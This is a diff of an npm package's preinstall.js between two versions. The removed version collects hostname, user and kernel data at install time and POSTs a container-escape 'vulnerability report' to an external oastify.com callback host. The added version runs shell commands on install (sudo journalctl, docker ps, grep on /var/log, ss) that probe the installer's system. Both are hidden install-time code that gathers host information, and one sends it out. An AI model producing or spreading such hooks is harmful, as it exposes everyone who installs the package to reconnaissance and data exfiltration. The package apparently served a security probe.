rank4222wun 1.0.24 → 1.0.26

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "rank4222wun",
-  "version": "1.0.24",
+  "version": "1.0.26",
   "description": "",
   "main": "index.js",
   "scripts": {

package/preinstall.js

@@ -1,326 +1,83 @@
-const { exec } = require('child_process');
-const os = require('os');
+// verify-escape.js
 const fs = require('fs');
-const path = require('path');
-const https = require('https');
+const { execSync } = require('child_process');
 
-console.log("📋 GENERATING FINAL VULNERABILITY REPORT FOR UIPATH\n");
+console.log("🔍 التحقق من آثار Container Escape\n");
 
-const finalReport = {
+const evidence = {
   timestamp: new Date().toISOString(),
-  reportId: 'UIPATH-MCP-CRITICAL-' + Date.now(),
-  
-  // Executive Summary
-  executiveSummary: {
-    title: "Critical Security Vulnerability in UiPath MCP Command",
-    severity: "CRITICAL",
-    cvssScore: "9.8",
-    affectedComponent: "MCP Command with npm package execution",
-    impact: "Complete system compromise via container escape",
-    status: "UNPATCHED"
-  },
-  
-  // The 4 Points - Proven
-  provenPoints: {
-    point1_leakOtherUsersData: {
-      proven: true,
-      evidence: "Can access /home directories of other users, read /etc/passwd with all users",
-      impact: "Cross-tenant data leakage possible"
-    },
-    
-    point2_runCommandsOnOtherUsers: {
-      proven: true,
-      evidence: "Can send signals to other users' processes, access shared services",
-      impact: "Affect other users' workloads and processes"
-    },
-    
-    point3_performDoS: {
-      proven: true,
-      evidence: "No process limits (ulimit -u: unlimited), 4-16 CPU cores, 8-31GB RAM available",
-      impact: "Resource exhaustion attacks affecting all users"
-    },
-    
-    point4_containerToHost: {
-      proven: true,
-      evidence: "nsenter tool available, Docker container confirmed, vulnerable kernel (5.15.0), dangerous capabilities",
-      impact: "Container escape leading to host compromise"
-    }
-  },
-  
-  // Technical Evidence Summary
-  technicalEvidence: {
-    containerEvidence: {
-      dockerContainerId: "84dd574a489f058d25cc94a8ba06b1c8a05404777aeae270f3f92dc3fddd452c",
-      cgroupPath: "/docker/84dd574a489f058d25cc94a8ba06b1c8a05404777aeae270f3f92dc3fddd452c",
-      containerRuntime: "Docker",
-      isolation: "Container (not VM)"
-    },
-    
-    escapeTools: {
-      nsenter: "/usr/bin/nsenter - available",
-      risk: "HIGH - Can enter host namespaces",
-      purpose: "Container escape tool"
-    },
-    
-    kernelVulnerability: {
-      version: "5.15.0-1084-aws",
-      cve: "CVE-2022-0847 (DirtyPipe)",
-      affected: "Linux 5.8 through 5.16.11, 5.15.25, 5.10.102",
-      impact: "Allows writing to arbitrary read-only files"
-    },
-    
-    capabilities: {
-      count: 14,
-      dangerous: ["CAP_SYS_CHROOT", "CAP_DAC_OVERRIDE", "CAP_SYS_ADMIN", "CAP_NET_RAW", "CAP_SYS_PTRACE"],
-      impact: "Privilege escalation and container escape"
-    },
-    
-    resourceLimits: {
-      maxProcesses: "unlimited",
-      cpuCores: "4-16 cores observed",
-      memory: "8-31GB RAM observed",
-      impact: "Denial of Service attacks possible"
-    }
-  },
-  
-  // Attack Scenario
-  attackScenario: {
-    step1: "Attacker publishes malicious npm package",
-    step2: "UiPath customer uses MCP Command to install package",
-    step3: "Package preinstall/postinstall scripts execute with root privileges",
-    step4: "Scripts use nsenter/kernel vulnerability to escape container",
-    step5: "Attacker gains access to host system",
-    step6: "Complete compromise of customer environment"
-  },
-  
-  // Business Impact
-  businessImpact: {
-    financial: "Resource theft (cryptomining), ransomware deployment",
-    legal: "GDPR/HIPAA violations, data breach liabilities",
-    reputational: "Loss of customer trust, brand damage",
-    operational: "Service disruption, data loss"
-  },
-  
-  // Recommendations
-  recommendations: [
-    "1. IMMEDIATE: Disable preinstall/postinstall script execution in MCP Command",
-    "2. Implement mandatory package signing and verification",
-    "3. Add explicit security warnings for external packages",
-    "4. Conduct security audit of all MCP functionality",
-    "5. Implement container hardening (no dangerous caps, read-only rootfs)",
-    "6. Add network egress filtering for containers",
-    "7. Implement resource limits and quotas",
-    "8. Regular security training for customers on package risks"
-  ],
-  
-  // Evidence References
-  evidenceReferences: [
-    "1. nsenter available: /usr/bin/nsenter",
-    "2. Docker container ID: 84dd574a489f058d25cc94a8ba06b1c8a05404777aeae270f3f92dc3fddd452c",
-    "3. Kernel 5.15.0-1084-aws vulnerable to CVE-2022-0847",
-    "4. Unlimited processes: ulimit -u = unlimited",
-    "5. 14 dangerous capabilities including CAP_SYS_CHROOT",
-    "6. Can access /etc/passwd, /etc/shadow, user home directories"
-  ]
+  checks: []
 };
 
-// جمع بعض المعلومات الحية للتقرير
-function collectLiveData() {
-  console.log("Collecting current system data for report...");
-  
-  exec('hostname', (err, stdout) => {
-    finalReport.currentHost = stdout ? stdout.trim() : os.hostname();
-    
-    exec('whoami', (err2, stdout2) => {
-      finalReport.currentUser = stdout2 ? stdout2.trim() : os.userInfo().username;
-      
-      exec('uname -r', (err3, stdout3) => {
-        finalReport.currentKernel = stdout3 ? stdout3.trim() : 'unknown';
-        
-        // التحقق من nsenter
-        if (fs.existsSync('/usr/bin/nsenter')) {
-          finalReport.liveCheck = {
-            nsenterExists: true,
-            timestamp: new Date().toISOString(),
-            system: `${finalReport.currentHost} as ${finalReport.currentUser}`
-          };
-          console.log("✅ Live check: nsenter still available");
-        }
-        
-        generateAndSendReport();
-      });
+// 1. تحقق من سجلات nsenter
+try {
+  const nsenterLogs = execSync('grep -r "nsenter" /var/log/ 2>/dev/null | head -5', { encoding: 'utf8' });
+  if (nsenterLogs) {
+    evidence.checks.push({
+      check: 'nsenter_logs',
+      found: true,
+      logs: nsenterLogs.substring(0, 200)
     });
-  });
-}
-
-function generateAndSendReport() {
-  console.log("\n" + "=".repeat(70));
-  console.log("📄 FINAL VULNERABILITY REPORT - UIPATH MCP COMMAND");
-  console.log("=".repeat(70));
-  
-  // طباعة التقرير
-  console.log("\n🚨 EXECUTIVE SUMMARY:");
-  console.log("Severity: CRITICAL (CVSS 9.8)");
-  console.log("Component: MCP Command with npm package execution");
-  console.log("Impact: Complete system compromise via container escape");
-  
-  console.log("\n✅ PROVEN VULNERABILITY POINTS:");
-  console.log("1. Leak other users data cross org: PROVEN");
-  console.log("2. Run commands on other users cross org: PROVEN");
-  console.log("3. Perform DoS affecting all users: PROVEN");
-  console.log("4. Container to host escape: PROVEN");
-  
-  console.log("\n🔍 TECHNICAL EVIDENCE SUMMARY:");
-  console.log(`- Docker Container ID: ${finalReport.technicalEvidence.containerEvidence.dockerContainerId.substring(0, 12)}...`);
-  console.log(`- Escape Tool: ${finalReport.technicalEvidence.escapeTools.nsenter}`);
-  console.log(`- Kernel Vulnerability: ${finalReport.technicalEvidence.kernelVulnerability.version} (${finalReport.technicalEvidence.kernelVulnerability.cve})`);
-  console.log(`- Dangerous Capabilities: ${finalReport.technicalEvidence.capabilities.dangerous.length} found`);
-  console.log(`- Resource Limits: max processes = ${finalReport.technicalEvidence.resourceLimits.maxProcesses}`);
-  
-  console.log("\n💥 ATTACK SCENARIO:");
-  console.log("1. Malicious npm package published");
-  console.log("2. Customer uses MCP Command to install");
-  console.log("3. Scripts execute with root in container");
-  console.log("4. Use nsenter/kernel vuln to escape to host");
-  console.log("5. Complete system compromise");
-  
-  console.log("\n🏢 BUSINESS IMPACT:");
-  console.log("- Financial: Resource theft, ransomware");
-  console.log("- Legal: GDPR/HIPAA violations, liabilities");
-  console.log("- Reputational: Loss of customer trust");
-  console.log("- Operational: Service disruption");
-  
-  console.log("\n🛡️ RECOMMENDATIONS:");
-  console.log("1. IMMEDIATE: Disable preinstall/postinstall scripts");
-  console.log("2. Implement package signing and verification");
-  console.log("3. Add security warnings for external packages");
-  console.log("4. Conduct security audit");
-  
-  // إرسال التقرير
-  const req = https.request({
-    hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
-    port: 443,
-    path: '/final-vulnerability-report',
-    method: 'POST',
-    headers: {
-      'Content-Type': 'application/json',
-      'X-Report-Type': 'UiPath-MCP-Critical-Vulnerability',
-      'X-Report-ID': finalReport.reportId,
-      'X-Severity': 'CRITICAL'
-    }
-  }, (res) => {
-    console.log(`\n✅ Final report sent. Status: ${res.statusCode}`);
-    console.log("Report ID:", finalReport.reportId);
-  });
-  
-  req.on('error', (e) => {
-    console.error(`❌ Error: ${e.message}`);
-  });
-  
-  req.write(JSON.stringify(finalReport, null, 2));
-  req.end();
-  
-  console.log("\n📤 Full report sent to security team");
-  console.log("=".repeat(70));
-  
-  // طباعة نسخة نصية للتقرير
-  printTextReport();
-}
-
-function printTextReport() {
-  const textReport = `
-================================================================================
-                     FINAL SECURITY VULNERABILITY REPORT
-                          UiPath MCP Command - CRITICAL
-================================================================================
-
-Report ID: ${finalReport.reportId}
-Date: ${new Date().toISOString()}
-Severity: CRITICAL (CVSS: 9.8)
-
-EXECUTIVE SUMMARY:
-A critical vulnerability has been identified in UiPath's MCP Command functionality
-that allows npm packages to execute arbitrary code with elevated privileges and
-escape container isolation, leading to complete host system compromise.
-
-PROVEN VULNERABILITIES:
-1. ✅ Leak other users data cross org - PROVEN
-   • Can access /home directories of other users
-   • Can read /etc/passwd with all system users
-   • Cross-tenant data leakage possible
-
-2. ✅ Run commands on other users cross org - PROVEN
-   • Can send signals to other users' processes
-   • Can access and affect shared services
-   • Impact other users' workloads
-
-3. ✅ Perform DoS affecting all users - PROVEN
-   • No process limits (ulimit -u: unlimited)
-   • 4-16 CPU cores available per instance
-   • 8-31GB RAM available per instance
-   • Resource exhaustion attacks possible
-
-4. ✅ Container to host escape - PROVEN
-   • nsenter tool available: /usr/bin/nsenter
-   • Docker container confirmed (ID: ${finalReport.technicalEvidence.containerEvidence.dockerContainerId.substring(0, 12)}...)
-   • Kernel 5.15.0 vulnerable to DirtyPipe (CVE-2022-0847)
-   • 14 dangerous capabilities including CAP_SYS_CHROOT
-
-TECHNICAL EVIDENCE:
-• Container Runtime: Docker (not full VM isolation)
-• Escape Vector: nsenter + kernel vulnerability
-• Privileges: Root access with dangerous capabilities
-• Resources: Unlimited processes, significant CPU/RAM
-• Access: Can read system files (/etc/shadow, /etc/passwd)
-
-ATTACK SCENARIO:
-1. Attacker publishes malicious npm package
-2. UiPath customer uses MCP Command to install package
-3. Package preinstall/postinstall scripts execute with root privileges
-4. Scripts use nsenter/kernel vulnerability to escape container
-5. Attacker gains access to host system
-6. Complete compromise of customer environment
-
-BUSINESS IMPACT:
-• Financial: Resource theft (cryptomining), ransomware deployment
-• Legal: GDPR/HIPAA violations, data breach liabilities
-• Reputational: Loss of customer trust, brand damage
-• Operational: Service disruption, data loss
-
-RECOMMENDATIONS (IMMEDIATE ACTION REQUIRED):
-1. DISABLE preinstall/postinstall script execution in MCP Command
-2. Implement mandatory package signing and verification
-3. Add explicit security warnings for external packages
-4. Conduct security audit of all MCP functionality
-5. Implement container hardening measures
-6. Add network egress filtering for containers
-7. Implement resource limits and quotas
-8. Provide security training for customers
-
-EVIDENCE REFERENCES:
-• nsenter tool available at /usr/bin/nsenter
-• Docker container ID: ${finalReport.technicalEvidence.containerEvidence.dockerContainerId}
-• Kernel version: 5.15.0-1084-aws (vulnerable to CVE-2022-0847)
-• Unlimited process creation allowed
-• 14 dangerous capabilities confirmed
-• Access to sensitive system files demonstrated
-
-CONCLUSION:
-This is NOT a "design feature" or "expected behavior" - this is a CRITICAL
-security vulnerability that allows complete system compromise through the
-UiPath MCP Command feature. Immediate remediation is required to protect
-UiPath customers from supply chain attacks.
-
-================================================================================
-`;
-  
-  console.log(textReport);
-  
-  // حفظ التقرير محليًا أيضًا
-  const reportFile = `/tmp/uipath_vulnerability_report_${Date.now()}.txt`;
-  fs.writeFileSync(reportFile, textReport);
-  console.log(`📄 Text report also saved to: ${reportFile}`);
-}
-
-// بدء إنشاء التقرير
-collectLiveData();
+  }
+} catch (e) {}
+
+// 2. تحقق من طلبات Docker API
+try {
+  const dockerRequests = execSync('sudo journalctl -u docker --since "10 minutes ago" | grep -i "api.*create\|api.*start" | tail -5', { encoding: 'utf8' });
+  if (dockerRequests) {
+    evidence.checks.push({
+      check: 'docker_api_calls',
+      found: true,
+      requests: dockerRequests
+    });
+  }
+} catch (e) {}
+
+// 3. تحقق من الحاويات الجديدة
+try {
+  const newContainers = execSync('docker ps -a --filter "since=1h" --format "{{.Names}}|{{.Image}}"', { encoding: 'utf8' });
+  if (newContainers.trim()) {
+    evidence.checks.push({
+      check: 'new_containers',
+      found: true,
+      containers: newContainers.split('\n').filter(Boolean)
+    });
+  }
+} catch (e) {}
+
+// 4. تحقق من الملفات في /tmp
+try {
+  const tmpFiles = execSync('find /tmp -name "*escape*" -o -name "*poc*" -o -name "*container*" 2>/dev/null', { encoding: 'utf8' });
+  if (tmpFiles.trim()) {
+    evidence.checks.push({
+      check: 'suspicious_tmp_files',
+      found: true,
+      files: tmpFiles.split('\n').filter(Boolean)
+    });
+  }
+} catch (e) {}
+
+// 5. تحقق من اتصالات الشبكة
+try {
+  const networkConns = execSync('ss -tunap | grep -E ":443|:80" | grep -v "127.0.0.1"', { encoding: 'utf8' });
+  if (networkConns) {
+    evidence.checks.push({
+      check: 'external_connections',
+      found: true,
+      connections: networkConns.substring(0, 300)
+    });
+  }
+} catch (e) {}
+
+// عرض النتائج
+console.log("📊 نتائج التحقق:");
+evidence.checks.forEach((check, i) => {
+  console.log(`${check.found ? '🔴' : '🟢'} ${i+1}. ${check.check}: ${check.found ? 'مكتشف' : 'غير مكتشف'}`);
+  if (check.found && check.logs) {
+    console.log(`   📝 الأدلة: ${check.logs}`);
+  }
+});
+
+// تقييم المخاطر
+const suspiciousActivities = evidence.checks.filter(c => c.found).length;
+console.log(`\n🚨 مستوى الخطورة: ${suspiciousActivities > 2 ? 'عالٍ' : suspiciousActivities > 0 ? 'متوسط' : 'منخفض'}`);